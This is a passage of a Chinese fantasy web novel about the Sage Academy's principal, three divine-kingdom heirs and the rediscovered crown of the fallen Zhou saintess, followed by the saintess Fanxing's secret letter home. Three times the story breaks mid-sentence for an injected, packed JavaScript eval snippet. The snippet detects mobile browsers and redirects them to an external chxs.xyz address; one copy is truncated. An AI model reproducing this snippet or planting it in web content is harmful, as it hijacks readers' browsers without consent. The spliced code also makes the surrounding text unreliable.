决无锋抬手将自己的识玉盖住,“院长说,说他未归,叫那些人等。” 云野喷笑,“还得是咱们院长啊!” 杀三国威风从不手软。 “正好给咱们看个乐子。” 这乐子一看,就看了三天。 连圣院一些耳目灵通的弟子,都晓得神国殿下们似乎尚未离开天芒。更遑论几位看热闹不怕事大的宫主,就这么捏着偷窥的诀,看着天芒峰顶人来人往,高潮迭起,全当戏看了。 纪国的人先到,后面是鲁国和霖国。三队人马撞了个脸对脸,关系也不好,各自在天芒顶找了个位置,扎着手等。 等了一个时辰,纪灵焰烧坏了祭坛的一个星象仪,两个石雕,三棵古木,身上燃了一圈火光,气哄哄地走了。 鲁国圣女倒很悠闲,扎实睡了一觉,起来后没见到院长,骑着虎悠然离去。 霖国圣子是最忙的,他没等,而是在天芒山转了一圈,找到个隐秘山洞,钻进去,至今没冒头。 后面两天,殿下们再未露面,只派人在无名殿附近蹲守。 终于在第三天,蹲到迟迟而归的院长。 院长看见他们还很奇怪,“你等在我圣院禁地门前蹲守作何?” 那队正是纪国人,不远处还倒着纪灵焰烧坏的废墟残骸。院长扫过去,蹙起眉,“谁烧坏了我的星象仪?” 纪国人实在不懂,明明是圣院院长失礼在先,姗姗来迟,如今却摆出一副兴师问罪的摸样。 但对方乃是大名鼎鼎的春华院长,实在不敢忤逆,只能埋头,洪声道:“请院长与我们殿下一会!” 春华疑惑:“你们殿下是谁?” 掐着诀捏着识玉偷窥的云野:“哈哈哈!” 纪灵焰闻讯而至,与之同时而至还有另外两位殿下。来得都很迅速,像是生怕人又跑了。 春华看见殿前刷刷聚了一堆人,惊奇:“你们都来找我?有要事相商?” 扫了他们一眼,春华倒是很和气,“既如此,就一起来吧。节省时间。” 这事态发展可不符合各方预期。有要事相商当然是私密谈话了,都聚在一起像什么话? 可三方队伍互相看看,竟没一个吭声,齐齐跟了上去。 圣院院长脾气古怪,行踪不定,这次叫他溜了,下次再见就不知道什么时候了。 索性一起。 还能探探各方态度。 于是就出现这样诡异的一幕,三神国继承人齐聚一殿,中间围着大陆核心枢纽、中州圣院的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996919|161402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌事人春华。 纪灵焰已经厌烦透了在圣院浪费时间的日子,直接开门见山:“今次来找院长,是问虚门的事。” “这个第五宫因何开设,大家都心知肚明。只是从报名结束以来,圣院不说探索古神国,便是关系到古神国的虚门,迄今都未踏足。如此,我们设立第五宫的意义何在?圣院在当中,是否心存懈怠?” 春华院长正在饮茶,升腾而起的水雾,映着茶盏后面的面容若影若现,缥缈如仙人一般。 他丁点儿也不着急,听纪灵焰说完,轻轻将茶搁在案上,“笃”一声,就像春华不轻不重的嗓音。 “殿下问圣院是否心存懈怠?”尾音扬起,莫名带给人巨大的压力。 鲁擒虎慵懒抱胸,嘴角噙着笑,姿态像是看戏。实际后背紧绷,脚尖保持一个随时能发力的姿势——倘若春华出手,她能及时退却到安全位置。 眸光微不可查扫过纪灵焰的方向。这把冒着火的刀是好用,就是有时候一不小心就会引火上身,也是麻烦。 纪灵焰看着也不是真傻。她是纯傲。傲到挑衅春华这种活了上千年的老怪物,也无所畏惧。 果然,纪灵焰目视春华,姿态半点没有软化,反而更加锋芒毕露。 “是。本殿正是在问圣院是否毫无作为!” “明明圣院与三国盟约在前,如今第五宫招生已经完成,却只办了个莫名的考核,其余计划毫无进展,不是懈怠是什么?” 纪灵焰说完,殿中寂静到可怕。唯一能听到的,就是春华院长百无聊赖地拿茶盖刮茶碗的声音。 “叮~~嗞” “叮~~嗞” 茶盖先是磕在杯口上,跟着转一圈。上好的瓷器,听起来却不悦耳,只叫人倍感压力,心烦意乱。 一直静默如雕塑的有容圣子,这回认认真真地看了纪灵焰一眼,把自己所有的虫子都收了起来,退后了一步。 唯一随侍纪灵焰进来的五尺壮汉浑身紧绷,悄无声息地挡在纪灵焰身前。 所有人形容紧张之际,春华将茶盖一扔,忽地笑了。 “没想到圣院的安排竟叫殿下这么不满……”语气带着叹息,摇摇头,开始善解人意地出主意,“这样吧,若纪国实在着急,这第五宫计划,自退去即可。” 纪灵焰一愣。 所有人皆是一愣。 春华悠悠闲闲伸了个懒腰,“本来么,探索古神国的行动,就是你们纪国主动找上门来,最后三国商定,由立场中立的圣院出面主导,这才办了这个第五宫。” “蒙三国信任,又加上古神国事关极界稳定,如此重任,圣院才勉强承下。” “只是说好一切事宜由圣院主导,如今殿下又着急,想来是纪国另有安排。” “如此,圣院也不勉强,卸了这重任,老老实实教书,再好不过。” 这话一撂,别说是纪灵焰,就是一直静默围观的鲁擒虎,一时也觉得无言以对。 谁能想到,大名鼎鼎,被世人盛赞风华之绝世的春华院长,行事竟然如此无赖,一言不合,不说解决问题,竟是直接掀桌。 鲁擒虎蹙眉。纪灵焰这样只会直来直去的烈火,在春华这种老怪物面前还是太嫩了。 他根本不接招,也无惧三神国的威严。 可偏偏探索古神国之事还得依仗圣院。三国各自角力,只有中立的圣院出头,各方才能勉强聚集。 鲁擒虎沉吟一番,竟然朝春华深深一揖,起身后道:“院长息怒。灵焰妹妹方才催促,怕也只是不解圣院行事,一时着急了。” “圣院既与三国盟约,自是不会失信于天下人。就是不知圣院此番,是否还有什么后续安排?” 她一顿,像是怕语言太过锋利,紧跟着解释了一句,“圣女非大事不可离国,如今这样带着一头雾水回去,怕是不好和国中祭司交代。” 捏着识玉,趴在某个角落的云野这会儿忍不住啧啧感叹:“原来神国圣女也有这样能屈能伸的腰背,实在稀罕。” 这类似书架与墙夹角的地方共藏了四人,圣院顶顶尊贵的四宫宫主皆尽到齐。 卡在云野旁边的心宫主沉稳嗯一声,比较赞赏鲁擒虎的行事。 “这几句话说得确实滴水不漏。姿态放得低,又拿‘天下人’做筏子,就算是院长,也得给她这个面子。” 往外延顺一位,是房主,他顺势接过话茬,“听说鲁国圣女的前身,乃是鲁国山村的一名猎户之女,天生力大无穷,单拳可敌猛虎,因得擒虎之名。后来为鲁国大祭司发觉,带回国中检测天赋,一路竞争,夺得圣女之位,赐了国姓。” “这些事迹虽然众人皆知,但也能从中窥见鲁国圣女心智隐忍坚硬,所非常人。” 最外面是决无锋。她就不一样了,她嫌这几个人吵。 “再说话,把你们扔出去。” 几人终于关上了嘴。院长若隐若现的声音从一墙之隔的书架后面传出。 “圣女如此说,真是叫我汗颜了。”春华一副抱歉的样子,但谁都能看出来,他是一点歉意也无。 叹一口气,态度终于缓和了。 “其实圣院行事,并非无的放矢。古神国的开启,连结四大虚门,这些都是我们提前试探出来的……但虚门也不是说进就进。” “虚门跟古神国相连,准入的要求自然也向古神国靠近,得尽可能找齐上古二十八巫族的血脉。” “如今第五宫广招古族世家的圣子圣女是不假,可招上来的几百多人,也不全都是货真价实的圣子圣女啊!” “圣院当然要层层挑选,不然凭空将这些人送到虚门前,不是叫人白白送命。” 纪灵焰垂眸,想说,有假的,自然也有真的,将这些人往虚门里一送,真假立现,还需这样费事考核吗? 当然,若真如此,那些假殿下也难保性命。可既然殿下都敢假冒,想来生死之事,也早有献身的觉悟了。 纪灵焰如此想着,却并未开口。 她在等。等春华这个行事难测的老怪物透露更多东西。 “况且,”春华敲敲桌子,不动声色扫过纪灵焰的方向,忽然笑了。 “况且这些圣女中还少了最关键的一位。” 纪灵焰抬眸,看老怪物微笑着吐出一个“周”字。 “周圣女已死!”纪灵焰眼眸一眯,冷声开口。 春华说:“死不死的,不要紧。反正上古四神族,周姜鲁氐,周为首,也是最重要的一支。” “没有周人血,这四道虚门,哪一门,你都进不去。” 8.圣女冠(八) 五十年前,上神国周为三国灭。 具体原因未知,各方讳莫如深,视为禁忌。 如今,这禁忌就这样被圣院院长挑脓疮般,手起刀落,一刀戳破了。 纪灵焰面无表情:“周人最狡,自有活口。” 春华两手一摊:“这我不知道,反正我跟周人没打过多少交道。殿下么,当是清楚的。” “噗嗤~”云野直接没憋住,嘴巴漏了气。如果不是有隔音结界,这一声,保准就要被隔壁听见了。 她浑然不觉自己是在偷听,乐颠颠地说:“你们还说我,瞧咱院长,说话那才厉害呢。” “殿下么,当是清楚的……”她学着春华的调子,掐着嗓音,“那肯定啊,纪一手主导灭周,纪圣女不清楚谁清楚?” 排排窝在书架缝里的其他宫主,各自深思。 云野继续嘀咕:“哎你们说,咱们院长真没跟周人打过交道么?几百年前,圣院不是被各国围剿过一次?那会儿周不是还没破?” 房主说:“圣院被围剿那次,周只是象征出兵,实际并未动手。” 云野唔了一声,话音一转,“哎你们看她是不是要气炸了?” 外面的纪灵焰,俏脸冰冷,下颚微抬,黑瞳盯着春华,眸光似箭,要把春华射穿。 纪国神火灿然十八载,没有被人这么下过面子。 就在气氛跌至冰点,众人以为纪灵焰气不过要动手的时候,她尖锐的神情陡然一收。 “周人踪迹,纪自会想办法追寻。至于盟约,还请院长上心。毕竟,我们神国可以等,虚门边境的百姓,可等不了太长时间。”丢下这么一句似警告似威胁的话,纪灵焰转身欲走。 春华莫名笑了一下,看着纪灵焰离开的背影,轻飘飘道:“可我这里还有一桩重要情报,殿下不听听看吗?” 红色身影一顿,却要继续向前。 春华闲闲补充:“事关周王室。” 鲁擒虎高高扬起眉。殿门处,前进的红色身影终于停了。 纪灵焰转身,瞳仁竖起,盯着春华,一言不发。 春华见逗得差不多了,终于没卖关子,和声说: “这些时日我外出,当然不是没有缘由。周边境有异动的事,你们扎在那里的探子,应当也觉察到了。我和太虚,便是为此事,专门潜入深处。这次,终于有所发现。” 说到这里,春华故意停顿,仙资般的面容出现一抹玩味。 “我在周人梦境中,发现了周圣女之冠的踪迹。” - 鲁擒虎在天芒界的一座山峰中找到鲁国队伍。个个人高马大,犹如巨人。 其中最高的一位,名仁王,是巨灵巫族后裔,又是鲁国圣女近卫队头领。 看见鲁擒虎,仁王单膝下跪,伸出手,让鲁擒虎踩着手坐到他肩上。看着视野拔高,仁王缓缓站起身,鲁擒虎慵懒倚靠仁王的头,勾着唇,意味深长地说: “好戏要来了。” “通知神殿,就说周圣女之冠现世,叫大祭司派人往周边境查探。” 仁王如山岳般的眉眼露出惊容:“周圣女冠?” “是,”鲁擒虎的声音不自觉带上郑重,“上神国周氏,在国破之前,为他们圣女加冠做的一顶冠冕。” “抛开其贵重程度不谈,有传闻说,圣女冠里面藏着周神器的线索。” “神器之说不是谣言吗?” 鲁擒虎:“九成真。” 同为神国圣女,她知道不少秘密。 “上古四神族,周与我们最大的不同,是它供奉了一尊真正的神器,享尽天地殊荣。” “可消息来自圣院。”仁王沉稳地说出自己的看法,“可能有诈。圣院跟三国从来不是一个立场。” 虽然三国之间也不相合,但是圣院跟他们却有本质的区别。 “涉及圣女冠,有诈也要去探。” “而且在这件事上,圣院没有理由骗我们。他们虽有实力,可治下的中州,却连个像样的世家都没有。同时惹怒三国,引来三国报复,就算是圣院院长,也难以承担后果。” 话到这里,仁王已经知晓圣女的态度,垂头,“属下即刻去信给大祭司。” 鲁擒虎目视前方,像好戏开锣,眸光燃烧着某种兴奋,“纪国应当已经出发,没有人比他们更着急周的消息。” “在大祭司来人前,我们也跟过去看看。” 仁王向身后队伍示意,自己沿着山顶一跃而下,“纪灵焰鲁莽冲动,收到消息,可能会先冲进去,我们可以坐虎观山斗。” “不,”鲁擒虎勾唇一笑,“纪灵焰冲动是不假,具体鲁不鲁莽,可不好说。” - “启程周边境。” 谈话一结束,刚踏出殿门,纪灵焰便对身旁侍从吩咐。她冷颜睬着神火腾空,从人紧紧跟随。 “殿下,消息不知真假啊。” 这位侍从是唯一一个跟着他们圣女进殿的人,“圣院院长非善人,之前还跟三国交恶,极有可能放出假消息。” 纪灵焰站在近卫队紧急召出的飞行幻器上,疾风吹扬她的发丝,身形笔直,未摇晃一分。 她平静道:“圣院是可能想浑水摸鱼,但既拿三国当先锋,就得放出真饵。” 纪灵焰根本不在意圣女冠是不是圣院放出的烟雾弹。只知道迷雾背后,有圣院意图掩盖,或揭露的东西。 这东西还极有可能与周相关。 那就行了。 有关于周的一切线索,她都感兴趣。 “全速前进。”将吹扬的发丝掖到耳后,纪灵焰坚声下令。 世人都道纪国神火,虽热烈,却鲁直。 既如此,做给他们看看又何妨。 真真假假,谁又能分清。 - 唯一留在天芒顶的队伍,就剩下霖国了。 扎着麻花鞭,簪着虫草发饰的少女抬头望天,“殿下,人都走了。” “嗯。”徐有容很淡定,说话时,有多足、彩色、长毛、长触角的虫子,在他冷白的脖子上爬进爬出。 “他们应该都去周边境了哎,咱们不跟过去看看吗?” “不去。”圣子天人一样的容颜没有表情,“咱们赶不上热乎的。” “啧,也是。”少女一边认同,一边又感觉可惜,“可那是周圣女之冠哎。听说周人最爱圣女,为她们圣女打造的冠冕,光是材料,就是天下至宝!” “强横如周,也有大厦倾塌的那天。”徐有容摇头,“没用。” “哦……那咱们?” “还回之前的山洞,毒草没挖完。” “行吧。” - 殿内,呼啦啦一群人来,又是呼啦啦一群人走。 春华挥袖开窗,眸光向外,不知看到什么,狠狠一皱眉,“哎呦这帮臭小孩儿,烧我的树还挖我的草……得叫他们赔!” 抬手从袖子里摸出一个空玉简,刷刷执笔写字,当真要给神国去信。 玉简写好时,春华一边检查措词,一边漫不经心朝身后说:“你们还要窝到什么时候?” 背后明明是笃白墙,空空如也。可当春华最后一字落下,墙缝开裂,自行旋转。 活生生旋出一个多宝架,和架后面排排窝着的四个人影。 四人也不见尴尬,神色如常地出来,正正衣冠,朝春华行礼。 笔搁在笔架上,春华嗯一声。将玉简递给他最稳重的大管事方怀瑾房宫主,道:“发给纪霖二国,叫他们十倍赔偿。” 房宫主面不改色接过来,表示自己知道了。 云野早憋不住了,“院长院长,什么圣女冠啊!您怎么悄没声的就办了这么一桩大事!” 春华抬眸,“悄没声?我要是悄没声,你们是怎么听见的?” “此事干系甚大,”心宫主掖着手,沉声道,“若为真,外面又得乱上一阵子。” “那不正好。”决无锋扫了眼院长的方向,“就没人挑剔我们圣院行事了。” 春华抚掌,一副你说到我心坎里的样子,“知我者,无锋也。” “不是不是……”云野见话题转了一圈,就是没转到重点,着急了,“所以圣女冠到底是不是院长你瞎扯出来糊弄人的玩意儿呀!” 糊弄人……春华都噎了噎,唬着脸说:“你们当我这个院长在外面转悠这么长时间是去玩的?” 看几人的神色,竟然都是一脸的,“那不然呢” 春华没好气:“白养你们了……当然是真的。是我和你们太虚大人冒险去周边境深处查出来的。” 此话一出,云野当即就激动了:“院长,那圣女冠长什么样?可真如传言所说,点缀着漫天的星辰?哦,还有神器线索!” “我怎么知道。”春华一脸你真烦,“是在周人梦境中看到的线索,又不是实物。” 决无锋拉了云野一下,解释:“周边境的梦境碎片,只可能与过去的某一时刻相连,却并非现在的现实。” 于是话题难免要扯到周边境的大雾结界上。 周破之后,边境与国土却并非可以随意入侵。外人只知周的供奉神像碎,神殿塌,象征周的旗帜与图腾被焚烧,周败已经板上钉钉。 可也许是上国的尊严不允许践踏,又或许是周人最后的拼死一搏,周以神殿为核心,开始漫涌出无尽的大雾。 大雾很快覆盖整个国土,形成一道诡异的结界。 侵入结界的外敌,轻则迷路,失去记忆,重则陷入幻梦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005065|161402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后以自戕的结局身亡。其中以三国的人尤甚,再修为高深,钻进迷雾,也难有好下场。 这事不算什么秘密,就是疑点忌讳颇多,几人简单提了一嘴,也就绕过去了。 春华像是想到什么,随口问:“对了,这次第五宫报名,有周人吗?” 几人互相看看,没人开腔,还是云野挠挠头,说:“院长,就算真有活着的周人,这会儿也不敢光明正大冒头吧。” 春华唔了一声,不再多言。 方怀瑾作为圣院最稳定可靠的“大管家”,问了一下后面第五宫考核的事。 “那周圣女之冠的事,要在后面的考核中透出去吗?” 春华摆手,“不用着急。该让他们知道的时候,也瞒不住。” 沉吟一番,其实纪国挑刺也不算没有道理,圣院安排的考核还是太过于温和了。 伸指在案桌上点了点,有了决定。 “做殿下的,光在台上练兵也不行。下一次,挑个虚门碎片给他们扔进去,多少见见血。” 一句话定音。 方怀瑾躬身:“是。” - 第一轮考核结束的夜晚,繁星提笔写下家书。 “见字如晤: 第五宫第一轮考核结束,已顺利通过,未暴露己身。 感受了大荒之外,各部族殿下的实力,怪异的是,水平十分参差不齐。后了解到,因有“假殿下”的存在。 大荒之外的殿下要有玉圭认证,司辰没有玉圭,因而繁星也是众人眼中的假圣女。 未有澄清,方便隐匿行事。” 她是司辰圣女,这封家书,自然是写给整个司辰部的,也因此,繁星没有具体人称,只写见字如晤。 简单介绍近况,繁星想了想,写下她所认为的重点。 “这次考核,亲见了纪鲁圣女、霖国圣子。修行都很高深,因未交手,不知深浅。” “三国见面,各自角力,似有不和,唯独对圣院立场一致,几多试探。” “纪圣女看似冲动,行事却有保留;鲁国圣女心细谨慎,年龄最长,几人中表面实力最强;霖圣子山水不露,不参与交锋,却要更加提防。” “三国与外界统一对周讳莫如深,言语避之。” “……” 繁星写信,并不依托具体事务,直接在空中书写,缓慢凝聚金光。最后一字成,繁星双手一夹,所有字句像被夹住,皆在指尖。 行至窗边,悬月高举,竹影婆娑,是一片寂静祥和之景。繁星目光平静移动,在竹影枝杈中找到一只栖息的鸟。 “来。”繁星开口,漆黑的眼瞳微微一闪,鸟就像受到召唤,飞至窗弦边落下。 是只乌鸦。 繁星抬眸看天,指尖并拢结印。 “契星·北斗。” 天幕中某个方位的七颗星瞬间勾连,形成一个勺状。形状只维持了一瞬,很快收敛,悄无声息投下薄光。 星光覆盖这只黑羽乌鸦,它漆黑的眼瞳一动,竟像有了灵智。 繁星垂眸看着这只“活过来”的乌鸦,伸手摸了摸它的喙。 不会契星,当然是骗人的。 她不止会,还能契很多。 繁星将指尖夹着的“信”放开,金字散落,顺序打乱,化为荧光,与乌鸦周身的星光融合到一起。 “去大荒。”繁星吩咐。 乌鸦最后看了眼繁星,扑棱一下扇起翅膀,很快隐没在夜色里。 繁星目送离开的黑影。 信当然不是真的叫这只普通的乌鸦“送去”,乌鸦只是起到一个中转星力的作用。 北斗指向大荒。当乌鸦进入大荒边境,部族的人就会通过移动的星力感应到这封信的存在,再次通过北斗,将星力收回,字句立现。 被外人截获也没关系,星力在不会操控的人手里,只会自行消散。 想要完成这样隐秘的远距离的传信也不难。只需寄信与收信的人都掌握契星巫术,且契的星相同。当然,所选择的星也要有特殊的能力,不然难以完成传送指向的使命。 看着乌鸦平稳飞走,直至感应不到,繁星才关上窗。 这只乌鸦以平稳的速度横穿中州城,往大荒的方向飞。只是飞跃到一半的时候却被人突然截获。 中州某宅院里,周夏抬手挡在眼前,眯眼看清是什么东西在移动后,向院子里叫起来:“爹,殿下的信!” “截下来。” “来喽。” 周夏抱着乌鸦递给一个高大男子。 男子的手就有大半只乌鸦那么大,眉目隐在夜色里,如鹰一样尖锐的眼眸,似能穿破黑暗。 正是早该离开中州的,司辰部圣女护卫队队长,黑叔。 9.圣女冠(九) 黑叔伸手拂过乌鸦。 包裹在乌鸦周身的星力一闪,拼成一个个悬浮的字句,完整展现了繁星书写的过程。而这些字句,只有“拆信”的人才能看见。 “爹,殿下说什么了?”周夏好奇探头。 黑叔看完,伸手将信捏起,星力将乌鸦重新包裹,“跟我们简单说了近况,以及对三国局势的分析。” 说完,手一掀,乌鸦借力飞走。 “哎,怎么放走了?” “北斗指向大荒。圣女不知道我们在这,是给族里去信。” 给族里去信,自然要将信送回族里。 周夏垫着脚蹲在院落的天井边,目视乌鸦飞走的方向。迎着高举的悬月,看到他一双眼眸格外亮。 “我想殿下了。”少年咂咂嘴,愤然直起身,握拳:“我就应该去圣院找殿下!”目光炯炯。 “找你个头!”黑叔比站在天井上的少年还高,一巴掌呼在他后脑勺,没好气道:“给我老老实实待住!还嫌殿下不够招眼吗!大荒里随便走出一个人就会星术,那人还天天跟在另一个人后面喊殿下。你那是给人招祸!” 周夏捂着头,犹不死心,“那难道我们就这样藏在中州城?” 他的价值,只有在殿下身边,才有发挥的余地。 “第五宫第一轮考核已过,殿下短时间应该不会出什么问题。你派人盯着,我去国边境一趟。”黑叔说。 “边境……”周夏愣住。 黑叔目视前方,眼神幽幽:“总要去看看……那大雾,或许不会挡我们。” 周夏张了张嘴,正要说什么,黑叔眼神一厉,甩手摸出腰间的匕首激射而出。 “来者何人!” 原本还懵懂的少年瞬间警醒,抽刀出鞘横于身前,脚下的召唤阵纹与黑叔的同时亮起。 顺着匕首的方向,庭院屋檐翘起的飞角上,正立着一个人。黑色斗篷盖住全身,背后是一轮巨大的悬月。 在匕首即将刺中的一刹那,一只带着手套的手从斗篷中伸出,轻巧挟住匕首,手腕翻转,匕首转射而回,力道比来时更加强横。 黑叔本想用兵器格挡,看见什么,眼眸一闪,选择偏头。 “笃!” 匕首深刻刺入黑叔正后方的梁柱上,只剩一个柄部。 与之同时,黑叔召唤出的幻兽狍鸮出现在黑衣人身后,张开遍布利齿的大嘴,即将要咬断黑衣人的头颅。 那人的身形却眨眼化为轻烟,出现在屋檐的另一角。 “我无恶意。”沙哑的嗓音,显然经过伪装。 “来只为告诉你们一件事:周圣女之冠现世。三国已经赶赴周边境。” 最后一字落下,天空只有圆月,洒下清冷的银辉,再无任何人际。 “爹,追不追。”周夏持刀,并未放松警惕。 黑叔摇头,召唤出的狍鸮并未收回,而是落在天井周围警惕四方。 “能悄无声息进入我们布下的结界,来者实力深不可测。” 他们能在院中自如地讲话,自然不可能毫无布置。星注视这方庭院,散落隐秘的力量。任何生物进入这里,将会引发警报,哪怕只是一只飞虫。 可方才的黑衣人进入,足有一息,才被黑叔察觉。这说明来人的实力,超出黑叔与调动星力的总和,才能无视结界。 黑叔将剑回鞘,走到方才被匕首刺中的梁柱上。周夏目光看过去,才看到匕首上挂着一方令牌。 月光下,令牌正面对外,刻着一个奇怪的图腾。 周夏皱眉,“像是某种植物的幼生体,又或是种子刚刚发芽。” 黑叔直接伸手拿下令牌,周夏甚至来不及阻止,“……可能有毒!” 黑叔摇摇头,凝视这枚令牌,良久,竟然拿出枚一模一样的。 周夏差点把舌头咬住,两枚令牌并在一起,谁能分得出差别。 “临行前,祭司将这枚令牌交给我。只道,持令牌者,不必全信,但可以尝试合作。” “难道是我们周的旧部?”周夏猜测,很快又自己否了,“我们并未联系旧部啊。没联系,还有旧部能自己闻到风声,找上门来吗?” 结果黑叔道:“有可能。” “啊?” “是有旧部有这个能力,但不是刚才的黑衣人。”黑叔将两块令牌收好,并不多解释,“我明日就去边境,你留一部分人在这里看护圣女。” 风波平息,周夏才想起刚才黑衣告知的讯息,“圣女冠……咱们殿下,不是有祭司给做的冠吗?” “不是那顶。是原先王室打造,真正能匹配殿下身份的冠冕。” “那爹你还不快去!黑衣人说三国的人都去了,要是冠落他们手里,那可怎么得了!” 周夏认为,即得知如此重大的消息,就该即刻启程。 黑叔却说不急:“这等消息,迟早会透出风,并不必黑衣人冒着暴露己身的风险亲自告知。他此番前来,就是为了叫我们知道他的存在。” “况且……”黑叔抬首,仰望天幕。 繁星高举,是肉眼可以观之的璀璨,却无人可以触碰,更无法摘取。 “况且,圣女冠只有在殿下手里,才能发挥它真正的价值。” “于他人手中,不过水中捞月,白费心思。” * 从第五宫第一轮考核结束,到各学宫开始正式授课,中间也就隔了三天。 这三天中,繁星通过识玉,分别看到了三神国圣子圣女的乐子、自己的乐子、以及自己和凤游的乐子。 第一条乐子源自于宁凤游的倾力推荐。她将那条爆火的帖子,用宝贵的识力复制,用文字发给了繁星。 《三神国殿下,于无名殿前苦等三日,是为哪般》 宁凤游用识玉发给繁星还不算,似乎这种平实的方式无法分享八卦的喜悦,她转头又跑到一条马路之隔的,繁星的院里,跟她面对面交流。 “繁星你看我给你发的了吗?我们考核完,三神国殿下没走,跑去堵院长了哎!” 繁星正在看那个帖子,手里捏着识玉,听到声音,侧头看见宁凤游一只脚踏进来,另一只脚还在门外,眼神亮晶晶的,嘴唇忍不住动了动。 “凤游……” “昂?” “你都要过来了,为什么还用识玉发我?” 宁凤游两只脚都迈进来,脖子上的花环化为一根藤,熟稔地在繁星屋里转圈,“我刚一发完,想到不能跟你面对面交流,我就难受。就像烧菜没放盐,你懂吧?” 繁星:“我懂了。请坐。” 宁凤游一屁股坐到繁星旁边,扭头继续刚才的话题,“……她们堵院长去了,然后,院长放了神国殿下的鸽子!” “你看起来挺喜闻乐见的,你不是很崇拜神国殿下吗?”繁星疑惑。 宁凤游嘿嘿:“崇拜归崇拜,喜闻乐见归喜闻乐见,不耽误。” 这只是第一天,大约发帖子的人都没想到,他们伟大的院长一放鸽子能放三天。那个帖子空前热闹,莫名洋溢着一种大快人心的情绪。 第二个乐子源于繁星自己。 作为第五宫本次考核,唯一一个非神国殿下,却拿到全天级评价的人,不可能没人讨论她。 繁星平静地捏着识玉,看别人议论,“繁星是谁?”“大荒中还有圣女吗?”“她肯定没玉圭吧!” “可恶,这帮人竟然敢质疑你的评分。”宁凤游看得津津有味,偶尔义愤填膺, “繁星你说,你是怎么拿到全天级评价的!” 繁星:“因为取巧。” 宁凤游点头,转头在帖中回下:“因为技术。” 繁星刷到了这个回复,顺便看到宁凤游在识玉中给自己取的名,“宁家小凤”,莫名笑了一下。 繁星原本的名字是原始自带,就是她的入院编码,一零一。可被宁凤游看见,说她这样不行,“那别人一看不就知道你是哪个了,连宿舍牌号都告诉别人了,你赶紧改个。” “可我不知道改什么啊?” “随便改,总比原始名字好。” 繁星想了想,改成,“你看天”。 宁凤游将头凑过去,看见这个名字,嘴角抽了抽。 “不行吗?” 宁凤游:“……当然行,我是懂你的意思啦,天上有繁星嘛。” 就感觉拽拽的,有种挑衅的意味在。可仔细一品又感觉是繁星的风格。 宁凤游乐了:“你就用这个吧!” 最后一个乐子来自繁星和宁凤游两个人。 因为马上要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她如果晨起练刀,便时不时能听到宁凤游凄惨的叫声,因为藤花大人每天至少要日晒一个时辰,如果晒不够时间,也是要抽人的。 繁星也给出过主意,“是不是藤花大人有什么需求……”她跟着宁凤游喊。 宁凤游耸耸鼻子,咽下苦涩,“不,藤花大人就是喜欢抽人。” 她拿给繁星一个饲养小手册,据说上面写着宁家老祖饲养鬼脸藤花这种珍稀幻植的宝贵经验。 繁星瞄过几眼,叹为观止。 “白天喜阳,晚上喜阴。每日晨晒一个时辰,晚间浇水两瓢,不能干也不能湿。” 当时宁凤游就抓着繁星疯狂吐槽,“前面也就不说了,浇水两瓢,能谁告诉我到底是多大的瓢!天知道我因为这点被藤花祖宗抽过多少回!” “肉食性幻植。喂养以异兽兽核最佳,辅以烤制前腿肉,最好刷上花蜜。” “喜欢鲜花,颜色越艳丽越佳。没什么别的作用,疑似会让藤花大人心情变好,减少抽打次数。” 喜感的是,宁家老祖也称她养的那株鬼脸藤为,“藤花大人”,并且紧跟着下一条就是—— “喜好:藤花大人喜欢抽打主人。不需要理由。” 繁星看完,只有一个感想:幸好她是纯巫。 如今,指望藤花大人代步,看着是不可能了,只能暂且租赁圣院的飞行幻兽。 丁院的教室周围,种满银杏。白墙灰瓦,掩在灿金当中。 姜溯坐在窗边,一只手托腮,视线中,一片杏叶旋转下落,晃出金色的虚影。少年瞳仁波澜不起,直到天边掠来一只白鹭,是圣院最普通的飞行幻兽。 白鹭降落,掀起落叶飞舞。背顶上下来两个人,一个着橙黄,鲜艳明快,一个着黑金,清冷神秘。 微雨的天气,一切都很朦胧。恰有风起,青丝吹扬,黑金女子掖住鬓边的发,举手间,露出平静的眉眼。 繁星一眼扫过那个窗边的少年,收回目光,问凤游:“给我们授通识课的掌师,是谁?” 宁凤游站定,开始翻她的识玉。 “让我看看,咦……给我们授课的,是尾宫宫主,云野?” “怎么宫主大人还给我们丁院授课啊!” 繁星一挑眉,拉着凤游向前,“可能是我们院,比较特殊吧。” 宁凤游面露为难。 “你是说,三个人都凑不齐一个真殿下的那种特殊吗?” 10.圣女冠(十) 繁星挑了个靠窗的位置坐下。 坐在她旁边的宁凤游忽而扯扯她的袖子,“他就是姜溯……跟咱们加一起凑不齐真殿下的那个。” 哦?繁星多了份认真,顺着着宁凤游努嘴的方向看过去。 坐在右边靠窗的位子,有个束着高马尾的少年,半边清朗侧脸,显得头型很饱满,比较特别的是戴了一对碧玉耳坠,潋滟地闪着光。 繁星看他的时候,像是感应到注视,竟然也朝繁星的方向看过来。繁星并不闪避,少年愣了一下后,若无其事偏开头。 那一瞬间,繁星看清了他的正脸,眼睫很长,皮肤很白,戴着华丽的饰品,像只矜贵慵懒的猫。 